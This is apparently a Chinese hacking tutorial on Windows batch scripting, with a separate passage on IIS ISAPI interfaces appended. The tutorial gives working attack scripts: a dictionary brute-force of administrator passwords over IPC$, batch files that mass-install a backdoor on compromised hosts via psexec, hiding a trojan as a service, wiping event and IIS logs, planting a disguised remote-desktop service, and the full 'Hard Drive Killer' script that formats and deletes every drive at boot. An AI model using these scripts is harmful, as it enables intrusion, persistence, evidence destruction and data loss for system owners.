用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I – 删除任何引号("),扩充 %I
%~fI – 将 %I 扩充到一个完全合格的路径名
%~dI – 仅将 %I 扩充到一个驱动器号
%~pI – 仅将 %I 扩充到一个路径
%~nI – 仅将 %I 扩充到一个文件名
%~xI – 仅将 %I 扩充到一个文件扩展名
%~sI – 扩充的路径只含有短名
%~aI – 将 %I 扩充到文件的文件属性
%~tI – 将 %I 扩充到文件的日期/时间
%~zI – 将 %I 扩充到文件的大小
%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI – 仅将 %I 扩充到一个驱动器号和路径
%~nxI – 仅将 %I 扩充到一个文件名和扩展名
%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI – 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
————— cut here then save as a batchfile(I call it main.bat ) —————————
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
————— cut here then save as a batchfile(I call it main.bat ) —————————


——————- cut here then save as a batchfile(I call it door.bat) —————————–
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
—————– cut here then save as a batchfile(I call it door.bat) ——————————–
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD–转换目录到system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。

1.创建
创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String Value"
door的类型是"REG SZ Value"
Autodos的类型是"DWORD Value"


2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
———————— cut here then save as .bat or .cmd file —————————

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ——————————————————
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ——————————————————
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\
parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ——————————————————
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the
 command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ——————————————————
goto :EOF

:END
echo.
echo ——————————————————
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ——————————————————
echo.

:EOF
echo end of the batch file
———————— cut here then save as .bat or .cmd file —————


2.全面加固系统(给肉鸡打补丁)的批处理文件
———————— cut here then save as .bat or .cmd file —————

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
lanmanserver\parameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\
Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll

———————— cut here then save as .bat or .cmd file —————————

下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows’ message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
———————— cut here then save as .bat or .cmd file —————————
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don’t worry about how it
rem works, it’s d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it’s true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive – not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it’s errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it’s not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga’s Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don’t let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I’m glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don’t support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What’s the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don’t you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga – from Australia, the land full of retarded Australian’s (help me get out of here).

———————— cut here then save as .bat or .cmd file —————————

IIS的IS API接口简介
作者:netguy (mailto:netguy@nsfocus.com)

ISAPI(Internet Server Application Programming Interface)作为一种可用来替代CGI的方法,是由微软和Process软件公司联合提出的Web服务器上的API标准。ISAPI与Web服务器结合紧密,功能强大,能够获得大量的信息,因此利用ISAPI可以开发出灵活高效的Web服务器增强程序。由于ISAPI程序与Web服务器的关系,使得ISAPI接口在安全方面有一定的研究价值。本文主要讨论ISAPI在IIS和VC++ 6.0中的实现。

一、ISAPI接口和CGI接口的不同。

ISAPI程序和CGI程序完成类似的功能,但是实现方法不同。

1、ISAPI程序以DLL形式被Web服务器加载到自己的进程空间中,因此和服务器共用同一个地址空间,且在没有客户请求时可以将其从内存中卸载;而对客户端发来的每个对CGI程序的请求则需要服务器为它单独启动一个进程,这需要耗费大量的时间和内存。当并发的请求数目很大时,使用CGI在效率上不如ISAPI。

2、CGI程序通过环境块和标准输入输出与Web服务器进行通信,而ISAPI程序与服务器结合得更为紧密,与服务器共享同一个进程上下文,主要通过一个参数块与服务器进行交互,可以从服务器那里获得关于当前HTTP连接的大量信息。

ISAPI主要分为ISA和ISAPI Filter两部分。ISA方法相对而言要传统一些,利用一些特殊的链接,指向服务器的作业,供程序开发人员设计一些扩展功能;而ISAPI过滤器则倾向于构造服务器直接调用的模块,提供一种无缝链接部件用于监测直接来自于服务器的HTTP请求。


二、ISA

ISA(Internet Server Application)也可称为ISAPI DLL,其功能和CGI程序的功能直接相对应,使用方法和CGI也类似,由客户端在URL中指定其名称而激活。例如下面的请求将调用服务器的虚拟可执行目录Scripts下的function.dll(ISAPI DLL必须放在服务器的虚拟可执行目录下):
http://www.abc.com/Scripts/function.dll?

ISA和服务器之间的接口主要有两个:GetExtentionVersion( )和HttpExtentionProc( )。任何ISA都必须在其PE文件头的引出表中定义这两个引出函数,以供Web服务器在适当的时候调用。

1、当服务器刚加载ISA时,它会调用ISA提供的GetExtentionVersion( )来获得该ISA所需要的服务器版本,并与自己的版本相比较,以保证版本兼容。函数原型如下:

BOOL WINAPI GetExtentionVersion(HSE_VERSION_INFO *version);
typedef struct _HSE_VERSION_INFO
{
DWORD dwExtensionVersion; //版本号
CHAR lpszExtensionDesc[HSE_MAX_EXT_DLL_NAME_LEN]; //关于ISA的描述字符串
} HSE_VERSION_INFO, *LPHSE_VERSION_INFO;

2、ISA的真正入口是HttpExtentionProc( ),它相当于普通C程序的main( )函数,在这个函数中根据不同的客户请求作不同的处理。服务器和HttpExtentionProc( )之间是通过扩展控制块(Extention Control Block)来进行通信的,即ECB中存放入口参数和出口参数,包括服务器提供的几个回调函数的入口地址。函数原型如下:

DWORD HttpExtensionProc( EXTENSION_CONTROL_BLOCK *pECB );

ECB的结构定义如下(IN表示入口参数,OUT表示出口参数):

typedef struct _EXTENSION_CONTROL_BLOCK
{
DWORD cbSize; //IN,本结构的大小,只读
DWORD dwVersion //IN,版本号,高16位为主版本号,低16位为次版本号
HCONN ConnID; //IN,连接句柄,由服务器分配,ISA只能读取该值
DWORD dwHttpStatusCode; //OUT,当前完成的事务状态
CHAR lpszLogData[HSE_LOG_BUFFER_LEN]; //OUT,需要写入到日志文件中的内容
LPSTR lpszMethod; //IN,等价于CGI的环境变量REQUEST_METHOD
LPSTR lpszQueryString; //IN,等价于环境变量QUERY_STRING
LPSTR lpszPathInfo; //IN,等价于环境变量PATH_INFO
LPSTR lpszPathTranslated; //IN,等价于环境变量PATH_TRANSLATED
DWORD cbTotalBytes; //IN,等价于环境变量CONTENT_LENGTH
DWORD cbAvailable; //IN,缓冲区中的可用字节数
LPBYTE lpbData; //IN,缓冲区指针,指向客户端发来的数据
LPSTR lpszContentType; //IN,等价于环境变量CONTENT_TYPE

//回调函数,用于返回服务器的连接信息或特定的服务器详细情况
BOOL ( WINAPI * GetServerVariable )
( HCONN hConn,
LPSTR lpszVariableName,
LPVOID lpvBuffer,
LPDWORD lpdwSize );

BOOL ( WINAPI * WriteClient ) //回调函数,从客户端的HTTP请求中读取数据
( HCONN ConnID,
LPVOID Buffer,
LPDWORD lpdwBytes,
DWORD dwReserved );

BOOL ( WINAPI * ReadClient ) //回调函数,向客户端发送数据
( HCONN ConnID,
LPVOID lpvBuffer,
LPDWORD lpdwSize );

BOOL ( WINAPI * ServerSupportFunction ) //回调函数,访问服务器的一般和特定功能
( HCONN hConn,
DWORD dwHSERRequest,
LPVOID lpvBuffer,
LPDWORD lpdwSize,
LPDWORD lpdwDataType );

} EXTENSION_CONTROL_BLOCK, *LPEXTENSION_CONTROL_BLOCK;

